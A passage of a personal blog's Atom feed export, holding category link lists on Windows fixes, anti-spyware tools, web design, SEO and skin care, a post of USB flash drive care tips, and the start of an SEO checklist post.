href="http://nevyan.blogspot.com/2006/11/skin-care-how-to-fight-acne.html"&gt;How to fight acne I&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/12/skin-care-how-to-fight-acne-ii.html"&gt;How to fight acne II&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/01/benefits-of-fish-oil-or-why-should-you.html"&gt;Benefits of omega 3 fish oil I&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/01/benefits-of-omega-3-fish-oil-part-ii.html"&gt;Benefits of omega 3 fish oil II&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/01/benefits-of-omega-3-fish-oil-part-iii.html"&gt;Benefits of omega 3 fish oil III&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2321055549814727220?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2321055549814727220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2321055549814727220' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2321055549814727220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2321055549814727220'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/skin-care.html' title='Skin care'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-10690968241757822</id><published>2007-09-19T01:33:00.002-07:00</published><updated>2009-09-19T13:14:28.249-07:00</updated><title type='text'>Windows</title><content type='html'>&lt;strong class="windows"&gt;Windows&lt;/strong&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/07/update-csrssexe-if-you-are-on-windows.html"&gt;Internet connection sharing problems on Windows XP SP2&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/06/windows-installation-of-php-mysql.html"&gt;Windows installation of Php, Mysql &amp;amp; Apache&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/01/how-to-share-internet-connection-in.html"&gt;How to share Internet connection in Windows XP&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/11/how-do-you-test-your-pc.html"&gt;How do you test your PC?&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/09/advanced-hard-drive-partition-and.html"&gt;Advanced hard drive partition and geometry recovery&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/07/how-to-do-easy-windows-reinstall.html"&gt;How to do an easy Windows reinstall&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/04/restore-show-desktop-on-taskbar.html"&gt;How to Restore Show Desktop button on taskbar&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/09/frequent-problems-with-usb-flash-hard.html"&gt;Frequent problems with USB flash, hard and floppy disk drives&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/10/how-to-make-lan-cable.html"&gt;How to make a LAN cable&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/09/usb-flash-drives-work-advices-problems.html"&gt;USB flash drives - work advices, problems and resolutions&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/07/speed-up-windows-xp.html"&gt;Speed up windows xp services&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/04/keep-your-printer-clean-and-running-ii.html"&gt;Keep your printer clean and running - II&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/04/how-to-clean-up-laptop-from-adware.html"&gt;How to clean up a laptop from viruses&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/03/how-to-repair-usb-drive.html"&gt;How to repair a usb drive&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/12/how-to-recover-deleted-files-on.html"&gt;How to recover deleted files on formatted drive?&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/12/keep-your-printer-clean-and-running-i.html"&gt;Keep your printer clean and running - I&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/11/free-up-ram-on-your-pc.html"&gt;Free up RAM on your PC&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/10/defrgamentation-for-your-hard-drive.html"&gt;Defragmentation for your hard drive&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/01/how-to-repair-windows-quick-fixes.html"&gt;How to repair windows - quick fixes&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/01/how-to-protect-from-windows-wmf.html"&gt;How to protect from Windows WMF exploit&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/01/how-to-clean-up-windows.html"&gt;How to clean up Windows&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/04/what-computer-should-we-buy.html"&gt;What computer should we buy?&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/02/messengers-icq-msn-yahoo-aol.html"&gt;Messengers - ICQ, MSN, Yahoo, AOL&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-10690968241757822?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/10690968241757822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/10690968241757822'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/windows.html' title='Windows'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8906252397122213806</id><published>2007-09-19T01:33:00.001-07:00</published><updated>2011-01-20T13:01:41.752-08:00</updated><title type='text'>Anti-spyware</title><content type='html'>&lt;b class="spyware"&gt;Anti Spyware&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/12/removing-spyware-in-2009.html"&gt;Removing spyware - overview, tips &amp;amp; tricks&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/11/review-of-future-antivirus-software-or.html"&gt;Review of a future antivirus software or HIPS &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/09/squared-free-best-antivirus-for-2009.html"&gt;A squared free - best antivirus for 2009&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/02/free-light-antivirus-for-personal-use.html"&gt;Free light antivirus for personal use&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/01/dealing-with-spyware-that-doesnt-cure.html"&gt;Dealing with rogue spyware&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/01/take-spyware-test.html"&gt;Take the test&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/12/what-antivirus-people-prefer-in-2007.html"&gt;What antivirus people prefer in 2007&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/12/remove-spyware-from-your-system.html"&gt;Remove the spyware from your system&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/11/strengthen-your-internet-explorer.html"&gt;Strenghten your IExplorer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/06/zonealarm-how-to-use-it.html"&gt;ZoneAlarm - how to use it&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/11/free-dos-antivirus-scanners.html"&gt;Free dos antivirus scanners&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/11/quizes-on-spyware-security-antivirus.html"&gt;Quizes on Spyware, security &amp;amp; antivirus&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/10/fast-antivirus-solution-for-home-use.html"&gt;Fast antivirus solution for home use&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/10/compact-anti-spyware-tools.html"&gt;Compact antispyware tools&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/10/antispyware-tools-from-trend-micro.html"&gt;Antispyware tools from Trend Micro&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2005/12/spyware-removal-solutions-free-and.html"&gt;Spy removal solutions tools&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2005/12/spyware-how-do-i-clean-my-pc.html"&gt;Spyware - How do I clean my PC&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2005/12/online-spyware-removal.html"&gt;Online spyware removal&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2005/12/corporate-security-with-free-antivirus.html"&gt;Antispyware software reviews&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8906252397122213806?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8906252397122213806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8906252397122213806'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/anti-spyware.html' title='Anti-spyware'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4430987193574375746</id><published>2007-09-19T01:33:00.000-07:00</published><updated>2011-01-20T12:57:52.226-08:00</updated><title type='text'>Web - Design, Development and SEO</title><content type='html'>&lt;b class="webdesign"&gt;Web - design &amp;amp; development&lt;/b&gt;&lt;br /&gt;&lt;ul id="recently"&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2011/01/fixing-facebook-like-button-error.html"&gt;&lt;span class="webdesign"&gt;&lt;/span&gt;&lt;span class="webdesign"&gt;How to fix facebook like button error&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/11/open-links-in-new-window-javascript.html"&gt;How to open all links in new window - Javascript&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/09/developers-benefits-from-google-chrome.html"&gt;Developer's benefits from using Google Chrome&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/10/photoshop-for-web-design-video-tutorial.html"&gt;Beginners: Photoshop for webdesign - video tutorial&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/06/create-website-logo-in-photoshop.html"&gt;Create logo in photoshop&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/05/create-website-gradients-with-css.html"&gt;Create website gradients with CSS&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/09/css-styled-forms.html"&gt;Easy CSS form styles&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2010/12/apple-css-only-menu-navigation-bar.html"&gt;Apple css only navigation bar&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/06/css-only-website-headers.html"&gt;CSS only web-headers&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/04/place-webcam-stream-on-your-website.html"&gt;Place webcam stream on your website - howto&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/03/ajax-and-user-interraction.html"&gt;AJAX - user interraction&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/02/ajax-check-server-connection.html"&gt;AJAX - check server connection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/12/easy-solve-ajax-c00ce514-error.html"&gt;Easy solve the AJAX c00ce514 error&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/09/guide-to-better-accessible-forms.html"&gt;Guide to better accessible forms&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/09/avoid-problems-between-web-forms-and.html"&gt;Avoid problems between Web forms and .htaccess&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/07/webdesign-using-design-plugins.html"&gt;Using design plugins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/06/webdesign-color-tools.html"&gt;Webdesign tools&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/01/how-to-add-website-counter.html"&gt;How to add a webcounter&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/09/linux-commands-for-website-admins.html"&gt;Linux commands for webadmins&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/01/your-website-translated.html"&gt;Have your website translated&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Blogger&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/07/2-column-blogger-template-simple-white.html"&gt;2 column Blogger template&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/09/publish-your-blog-using-word-2007.html"&gt;Publish your blog with Word 2007&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/10/blogger-recent-comments-and-posts-howto.html"&gt;Blogger recent comments/posts made easy&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/01/customize-new-blogger-template.html"&gt;Customize the new blogger template&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b class="sandbox"&gt;SEO,&lt;/b&gt;&lt;b class="sandbox"&gt; Google Sandbox&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt; &lt;a href="http://nevyan.blogspot.com/2010/10/9-hidden-secrets-of-seo-companies.html"&gt;&lt;span class="sandbox"&gt;The 9 hidden secrets of SEO companies&lt;/span&gt;&lt;/a&gt;&lt;span class="sandbox"&gt; &lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2010/05/ethical-seo.html"&gt;Guide to Ethical SEO&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/08/move-content-and-avoid-duplicate.html"&gt;Move content and avoid the duplicate penalty&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/08/solving-local-indexing-problems.html"&gt;Solving local indexing problems&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/02/new-tool-to-test-your-website-content.html"&gt;New tool to test your website content&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/01/free-analysis-and-monitoring-seo-tools.html"&gt;Free seo analysis and monitoring tools&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/11/benefits-of-googles-blogsearch.html"&gt;Benefits of the BlogSearch&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/10/fixing-duplicate-content-caused-by.html"&gt;Fixing duplicate content caused by sessions&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/10/my-blog-and-google.html"&gt;My blog and Google&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/09/check-your-website.html"&gt;Check your website&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/04/deoptimizing-new-way-of-seo.html"&gt;Deoptimizing - a new way of seo&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/03/how-to-optimize-website-using.html"&gt;How to optimize using Dreamwaver&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/01/duplicate-website-content-how-to-avoid.html"&gt;Duplicate content and how to avoid it &lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/09/is-your-website-in-googles-sandbox.html"&gt;Is your website in Google's sandbox?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/01/how-to-get-out-of-google-sandbox-part.html"&gt;How to get out of Google Sandbox - part I&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/01/how-to-get-out-of-google-sandbox-part_03.html"&gt;How to get out of Google Sandbox - part II&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/06/effective-ways-to-get-out-of-googles.html"&gt;Effective ways to get out of Google's sandbox&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/01/free-analysis-and-monitoring-seo-tools.html"&gt;Free analysis and monitoring seo tools that work&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/04/increase-indexing-by-clearing.html"&gt;Increase indexing by clearing supplementals&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/02/reducing-bounce-rate-for-fun-and-profit.html"&gt;Reducing bounce rate for fun and profit&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/09/improving-website-search-position.html"&gt;Improving search positions&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/11/website-hijacking-escape-prevention.html"&gt;Website hijacking - escape &amp;amp; prevention&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/12/how-i-easily-increased-my-website.html"&gt;How I easily increased my website visitors by 30%&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/01/speeding-up-website-in-14-easy-steps.html"&gt;Speeding up website in 14 easy steps&lt;/a&gt;&amp;nbsp; &lt;/li&gt;&amp;nbsp;&lt;/ul&gt;&lt;ul&gt;&lt;/ul&gt;&lt;b&gt;SEO Penalty Checklists series&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2010/07/seo-penalty-checklist-iframes.html"&gt;SEO penalty checklist: Iframes &lt;/a&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/11/seo-penalty-checklist-404-and.html"&gt;SEO penalty checklist: 404 and 301redirects&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2009/12/seo-penalty-checklist-keyword-density.html"&gt;SEO penalty checklist: keyword density, canonical urls&lt;/a&gt;&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Adsense&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/09/simplify-your-income-plans-using.html"&gt;Simplify your income plans using the Adsense Calculator&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2008/03/3-ways-to-increase-cpc-and-ecpm.html"&gt;3 ways to increase your CPC and ECPM&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2006/11/adsense-optimization-techniques-for.html"&gt;AdSense optimization techniques for Blogger&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://nevyan.blogspot.com/2007/11/more-security-on-adsense.html"&gt;More security on AdSense&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4430987193574375746?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4430987193574375746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4430987193574375746'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/09/web-design.html' title='Web - Design, Development and SEO'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2071598059989613782</id><published>2007-09-11T00:07:00.000-07:00</published><updated>2007-09-12T02:48:23.913-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>USB flash drives - work advices, problems and resolutions</title><content type='html'>1. Prior working with USB device check whether your USB port is correctly wired and its leading voltage. Often front panel ports are being switched incorrectly or have increased power voltages due to a low-quality power supply. In such case the USB drive could possibly damage. If you are unsure use the USB outlets on the back panel of the computer’s main board.&lt;br /&gt;&lt;br /&gt;2. Take care of your hands static electricity before turning the flash drive on. By default flash drives have protection against such static electricity but don’t solely rely on that.&lt;br /&gt;&lt;br /&gt;3. After finishing work before unplugging use the option for safety switching off -&gt; (Safely Remove Hardware) on your Taskbar. This will save you lots of further lost data troubles.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/RuZPemQJEhI/AAAAAAAAAGA/LaFWAVGpKcI/s1600-h/safely_remove.png"&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/RuZPemQJEhI/AAAAAAAAAGA/LaFWAVGpKcI/s400/safely_remove.png" alt="" id="BLOGGER_PHOTO_ID_5108858214381326866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;4. When carrying or transporting use the drive’s original fabric package. Don’t put it on your pockets or experiment with soft wrappings that allow the USB connector to fold or dirt to go through.&lt;br /&gt;&lt;br /&gt;5.Flash disk drive is designed for an operational data work but not for an ongoing stable archive. If you wish to have such archive better use CD-R/RW or DVD-R/RW.&lt;br /&gt;Flash memory could be read numerous times from, but its writing is limited. The reason: in order to do a recording one specific memory area must be deleted first. And this very area could handle only limited number of deletions.&lt;br /&gt;&lt;br /&gt;Pros:&lt;br /&gt;- over DRAM and RAM - it is power independent (when you turn the device off the content stays inside).&lt;br /&gt;- over hard drives, CDs and DVDs – it has no moving parts.&lt;br /&gt;That’s why the flash memory is a compact, cheap and gives relatively fast way of data access.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2071598059989613782?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2071598059989613782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2071598059989613782' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2071598059989613782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2071598059989613782'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/09/usb-flash-drives-work-advices-problems.html' title='USB flash drives - work advices, problems and resolutions'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_nXiUn_G4NDk/RuZPemQJEhI/AAAAAAAAAGA/LaFWAVGpKcI/s72-c/safely_remove.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7420947023225138015</id><published>2007-09-07T23:42:00.000-07:00</published><updated>2007-09-12T02:48:35.452-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>Check your website</title><content type='html'>Simple steps for your website ensuring long term:&lt;br /&gt;- proper functioning(happy visitors)&lt;br /&gt;- quality traffic&lt;br /&gt;- penalty free&lt;br /&gt;&lt;br /&gt;1. Canonical urls&lt;br /&gt;Check whether your website is listed in google and yahoo SERPS listings via: http://yourwebsite.com or http://www.yourwebsite.com and manually rewrite all &lt;span style="font-weight: bold;"&gt;internal links&lt;/span&gt; to the already indexed version.&lt;br /&gt;Permanently redirect using  &lt;span style="font-weight: bold;"&gt;mod_rewrite&lt;/span&gt; your &lt;span style="font-weight: bold;"&gt;index.html&lt;/span&gt; page to the indexed website URL (i.e http://www.yourwebsite.com/).&lt;br /&gt;&lt;br /&gt;2. Link weight&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_nXiUn_G4NDk/RuJgH2QJEeI/AAAAAAAAAFo/JFP3liOCkOI/s1600-h/Untitled-1.png"&gt;&lt;img style="cursor: pointer;" src="http://bp0.blogger.com/_nXiUn_G4NDk/RuJgH2QJEeI/AAAAAAAAAFo/JFP3liOCkOI/s400/Untitled-1.png" alt="" id="BLOGGER_PHOTO_ID_5107750615330132450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Use Supplemental Results Detector  http://www.seo4fun.com/php/pagerankbot.php to distribute evenly &lt;span style="font-weight: bold;"&gt;link weight&lt;/span&gt; between your pages.&lt;br /&gt;&lt;br /&gt;3. Source Ordered Content – display your content first to search engines via CSS&lt;br /&gt;Example: 